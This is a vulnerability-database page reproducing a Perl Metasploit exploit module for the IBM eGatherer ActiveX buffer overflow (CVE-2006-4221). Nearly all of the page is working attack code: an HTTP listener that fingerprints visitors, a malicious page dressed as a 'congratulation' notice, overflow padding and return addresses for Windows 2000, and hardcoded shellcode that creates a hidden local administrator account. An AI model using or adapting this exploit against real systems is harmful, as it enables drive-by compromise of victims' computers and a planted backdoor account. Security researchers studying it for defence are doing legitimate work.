Lucene search

K
seebugRootSSV:63906
HistoryJul 01, 2014 - 12:00 a.m.

IBM eGatherer <= 3.20.0284.0 (ActiveX) Remote Code Execution Exploit

2014-07-0100:00:00
Root
www.seebug.org
14

EPSS

0.868

Percentile

98.6%

No description provided by source.


                                                ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ibm_egatherer;

use strict;
use base &#34;Msf::Exploit&#34;;
use Pex::Text;
use Msf::Encoder;
use IO::Socket::INET;
use IPC::Open3;

my $advanced =
  {
  };

my $info =
  {
	&#39;Name&#39;           =&#62; &#39;IBM eGatherer ActiveX Code Execution Vulnerability&#39;,
	&#39;Version&#39;        =&#62; &#39;$Revision: 1 $&#39;,
	&#39;Authors&#39;        =&#62;
	  [
		&#39;Francisco Amato &#60;famato [at] infobyte.com.ar&#62; [ISR] www.infobyte.com.ar&#39;,
	  ],

	&#39;Description&#39;    =&#62;
	  Pex::Text::Freeform(qq{
		This module exploits a code execution vulnerability in the IBM eGatherer ActiveX buffer overflow.
}),
        &#39;Arch&#39;           =&#62; [ &#39;x86&#39; ],
        &#39;OS&#39;    =&#62; [&#39;win32&#39;, &#39;win2000&#39; ],
					
	&#39;Priv&#39;           =&#62; 0,

	&#39;UserOpts&#39;       =&#62;
	  {
		&#39;HTTPPORT&#39; =&#62; [ 1, &#39;PORT&#39;, &#39;The local HTTP listener port&#39;, 8080      ],
		&#39;HTTPHOST&#39; =&#62; [ 0, &#39;HOST&#39;, &#39;The local HTTP listener host&#39;, &#34;0.0.0.0&#34; ],

	  },

        &#39;AutoOpts&#39;  =&#62;
	          {
            	    &#39;GETPCTYPE&#39; =&#62; &#39;ebx&#39;
		  },
	&#39;Payload&#39;        =&#62;
	  {
		&#39;Space&#39;    =&#62; 700,
		&#39;BadChars&#39;  =&#62; &#34;\x00\x88\x8e\x89\x83\x96\x98\x91\x80\x9f\x93\x97\x8c\x99\x9c\x9b\x92&#34;, # data is downcased				
		&#39;Keys&#39;     =&#62; [&#39;+alphanum&#39;],
		
	  },
	&#39;Refs&#39;           =&#62;
	  [
	  	[&#39;OSVDB&#39;, &#39;27976&#39;],	  
	  	[&#39;CVE&#39;, &#39;CVE-2006-4221&#39;],
	  	[&#39;BID&#39;, &#39;19554&#39;],
	  	[&#39;URL&#39;, &#39;http://research.eeye.com/html/advisories/published/AD20060816.html&#39;],
	  ],

	&#39;DefaultTarget&#39;  =&#62; 0,
	&#39;Targets&#39;        =&#62;
	  [
		[ &#39;Windows 2000 SP4 English version&#39;, 0x75041111, 0x7CE8E1B6  ]
#		[ &#39;Windows 2000 SP4 English version&#39;, 0x41414141, 0x7CE8E1B6  ] test
#		75032DB6
#//7CE8E1B6 CALL ole32.dll
#//75041111 .data WS2_32.DLL		
	  ],
	
	&#39;Keys&#39;           =&#62; [ &#39;ibm&#39; ],

	&#39;DisclosureDate&#39; =&#62; &#39;Aug 16 2006&#39;,
  };

sub new {
	my $class = shift;
	my $self = $class-&#62;SUPER::new({&#39;Info&#39; =&#62; $info, &#39;Advanced&#39; =&#62; $advanced}, @_);
	return($self);
}


sub Exploit
{
	my $self = shift;
	my $server = IO::Socket::INET-&#62;new(
		LocalHost =&#62; $self-&#62;GetVar(&#39;HTTPHOST&#39;),
		LocalPort =&#62; $self-&#62;GetVar(&#39;HTTPPORT&#39;),
		ReuseAddr =&#62; 1,
		Listen    =&#62; 1,
		Proto     =&#62; &#39;tcp&#39;
	);
	my $client;

	# Did the listener create fail?
	if (not defined($server)) {
		$self-&#62;PrintLine(&#34;[-] Failed to create local HTTP listener on &#34; . $self-&#62;GetVar(&#39;HTTPPORT&#39;));
		return;
	}

	my $httphost = ($self-&#62;GetVar(&#39;HTTPHOST&#39;) eq &#39;0.0.0.0&#39;) ?
		Pex::Utils::SourceIP(&#39;1.2.3.4&#39;) :
		$self-&#62;GetVar(&#39;HTTPHOST&#39;);

	$self-&#62;PrintLine(&#34;[*] Waiting for connections to http://&#34;. $httphost .&#34;:&#34;. $self-&#62;GetVar(&#39;HTTPPORT&#39;) .&#34;/&#34;);

	while (defined($client = $server-&#62;accept())) {
		$self-&#62;HandleHttpClient(Msf::Socket::Tcp-&#62;new_from_socket($client));
	}

	return;
}

sub HandleHttpClient
{
	my $self = shift;
	my $fd   = shift;

	# Set the remote host information
	my ($rport, $rhost) = ($fd-&#62;PeerPort, $fd-&#62;PeerAddr);
		

	# Read the HTTP command
	my ($cmd, $url, $proto) = split(/ /, $fd-&#62;RecvLine(10), 3);
	my $agent;
	
	# Read in the HTTP headers
	while ((my $line = $fd-&#62;RecvLine(10))) {
		
		$line =~ s/^\s+|\s+$//g;
		
		my ($var, $val) = split(/\:/, $line, 2);

		# Break out if we reach the end of the headers
		last if (not defined($var) or not defined($val));

		$agent = $val if $var =~ /User-Agent/i;
	}
	
	my $os = &#39;Unknown&#39;;
	my $vl = ($agent =~ m/Windows/) ? &#39;Vulnerable&#39; : &#39;Not Vulnerable&#39;;
	
	$os = &#39;Linux&#39;     if $agent =~ /Linux/i;
	$os = &#39;Mac OS X&#39;  if $agent =~ /OS X/i;
	$os = &#39;Windows&#39;   if $agent =~ /Windows/i;	
	
	
	$self-&#62;PrintLine(&#34;[*] Client connected from $rhost:$rport ($os/$vl).&#34;);
	
	if ($os ne &#39;Windows&#39;) {
		$self-&#62;PrintLine(&#34;[*] Invalid target for this exploit, trying anyways...&#34;);
	} else {
		$self-&#62;PrintLine(&#34;[*] Sending payload and waiting for execution...&#34;);	
	}

	my $res = $fd-&#62;Send($self-&#62;BuildResponse($self-&#62;GenerateHTML()));

	$fd-&#62;Close();
}

sub JSUnescape2 {
	#TODO: add to Pex:Utils:JSUnescape like type of mode
        my $data = shift;
        my $mode = shift() || &#39;LE&#39;;
        my $code = &#39;&#39;;

        # Encode the shellcode via %u sequences for JS&#39;s unescape() function
        my $idx = 0;

        # Pad to an even number of bytes
        if (length($data) % 2 != 0) {
                $data .= substr($data, -1, 1);
        }

        while ($idx &#60; length($data) - 1) {
                my $c1 = ord(substr($data, $idx, 1));
                my $c2 = ord(substr($data, $idx+1, 1));
                if ($mode eq &#39;LE&#39;) {
                        $code .= sprintf(&#39;%%%.2x%%%.2x&#39;, $c2, $c1);
                } else {
                        $code .= sprintf(&#39;%%%.2x%%%.2x&#39;, $c1, $c2);
                }
                $idx += 2;
        }

        return $code;
}


sub GenerateHTML {
	my $self        = shift;
	my $target      = $self-&#62;Targets-&#62;[$self-&#62;GetVar(&#39;TARGET&#39;)];
	my $shellcode = JSUnescape2($self-&#62;GetVar(&#39;EncodedPayload&#39;)-&#62;Payload, &#39;RE&#39;);	
        my $offsetdata = JSUnescape2(pack(&#39;V&#39;, $target-&#62;[1]),&#39;R&#39;);
	my $offsetesp = JSUnescape2(pack(&#39;V&#39;, $target-&#62;[2]),&#39;R&#39;);

#adduser, user: hax0r pass: vete
my $shellcode = &#39;%31%c9%66%b9%30%72%51%68%20%68%61%78%68%2f%41%44%44%68%72%65%73%20%68%72%61%64%6f%68%6e%69%73%74%68%41%64%6d%69%68%6f%75%70%20%68%61%6c%67%72%68%20%6c%6f%63%68%20%6e%65%74%68%44%20%26%26%68%20%2f%41%44%68%76%65%74%65%68%78%30%72%20%68%72%20%68%61%68%20%75%73%65%68%20%6e%65%74%68%65%20%2f%63%68%64%2e%65%78%68%41%41%63%6d%31%c0%50%31%c0%8d%4c%24%06%51%bb%fa%74%59%7c%ff%d3%31%c0%50%bb%be%69%47%79%ff%d3&#39;;
#$self-&#62;PrintLine($shellcode2);
#my $shellcode = $shellcode2;


	my $data        = qq#
&#60;html&#62;
&#60;head&#62;
	&#60;title&#62;IBM&ISS congratulation&#60;/title&#62;

&#60;/head&#62;
&#60;object classid=&#39;clsid:74FFE28D-2378-11D5-990C-006094235084&#39; id=&#39;notCompromising&#39;&#62;&#60;/object&#62;
&#60;script&#62;
var buff=&#34;&#34;;
for (i=0;i&#60;260;i++) buff=buff+unescape(&#34;%90&#34;); //padding
//75041111 .data WS2_32.DLL
buff=buff+unescape(&#34;$offsetdata&#34;); //.data
buff=buff+unescape(&#34;$offsetdata&#34;); //.data
for (i=0;i&#60;12;i++) buff=buff+unescape(&#34;%90&#34;); //padding
//7CE4F8A6 CALL ESP ole32.dll
buff=buff+unescape(&#34;$offsetesp&#34;); //write eip
buff=buff+unescape(&#34;$offsetesp&#34;); //write eip
for (i=0;i&#60;80;i++) buff=buff+unescape(&#34;%90&#34;); //padding
//JMP safe ? shellcode
buff=buff+unescape(&#34;%E9%FD%FA%FF%FF&#34;); //adduser
//buff=buff+unescape(&#34;%E9%2B%F8%FF%FF&#34;); //size 500
//buff=buff+unescape(&#34;%E9%AF%F6%FF%FF&#34;);  //size 700
for (i=0;i&#60;80;i++) buff=buff+unescape(&#34;%90&#34;); //padding

//shellcode TODO: copy writeable memory
buff=buff+unescape(&#34;$shellcode&#34;);

for (i=0;i&#60;50;i++)buff=buff+unescape(&#34;%90&#34;); //shit

var comp = document.getElementById(&#39;notCompromising&#39;);
comp.RunEgatherer(buff);
//alert(buff);

&#60;/script&#62;

&#60;/body&#62;
&#60;/html&#62;
#;
	return $data;
}

sub BuildResponse {
	my ($self, $content) = @_;

	my $response =
	  &#34;HTTP/1.1 200 OK\r\n&#34; .
	  &#34;Content-Type: text/html\r\n&#34;;

	if ($self-&#62;GetVar(&#39;Gzip&#39;)) {
		$response .= &#34;Content-Encoding: gzip\r\n&#34;;
		$content = $self-&#62;Gzip($content);
	}
	if ($self-&#62;GetVar(&#39;Chunked&#39;)) {
		$response .= &#34;Transfer-Encoding: chunked\r\n&#34;;
		$content = $self-&#62;Chunk($content);
	} else {
		$response .= &#39;Content-Length: &#39; . length($content) . &#34;\r\n&#34; .
		  &#34;Connection: close\r\n&#34;;
	}

	$response .= &#34;\r\n&#34; . $content;

	return $response;
}

sub Chunk {
	my ($self, $content) = @_;

	my $chunked;
	while (length($content)) {
		my $chunk = substr($content, 0, int(rand(10) + 1), &#39;&#39;);
		$chunked .= sprintf(&#39;%x&#39;, length($chunk)) . &#34;\r\n$chunk\r\n&#34;;
	}
	$chunked .= &#34;0\r\n\r\n&#34;;

	return $chunked;
}

sub Gzip {
	my $self = shift;
	my $data = shift;
	my $comp = int(rand(5))+5;

	my($wtr, $rdr, $err);

	my $pid = open3($wtr, $rdr, $err, &#39;gzip&#39;, &#39;-&#39;.$comp, &#39;-c&#39;, &#39;--force&#39;);
	print $wtr $data;
	close ($wtr);
	local $/;

	return (&#60;$rdr&#62;);
}

1;

# milw0rm.com [2006-08-29]